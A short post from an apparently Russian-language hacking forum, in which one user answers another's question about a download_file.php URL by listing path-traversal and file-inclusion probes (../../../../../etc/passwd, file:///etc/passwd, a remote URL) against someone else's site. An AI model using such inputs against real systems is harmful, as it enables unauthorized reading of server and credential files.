Показать сообщение отдельно

  #2214  
Старый 13.01.2018, 18:13
BabaDook
Познавший АНТИЧАТ
Регистрация: 09.05.2015
Сообщений: 1,066
С нами: 5797046

Репутация: 40


По умолчанию

Цитата:
Сообщение от ShpillyWilly  

Товарищи, помогите пллз.
Есть урл site,com/download_file.php?path=xxxxxxx/65/1 где x-разные циферки
в зависимости от того, что вводишь, скачиваются либо разные пдфки, либо пустой файл download_file.php, но наверняка же можно и чего-нибудь интересное скачать.
как можно поискать закономерности в этом цифровом path?)
site,com/download_file.php?path=../../../../../etc/passwd

site,com/download_file.php?path=file:///etc/passwd

site,com/download_file.php?path=http://site.ua

site,com/download_file.php?path= итд
 
Ответить с цитированием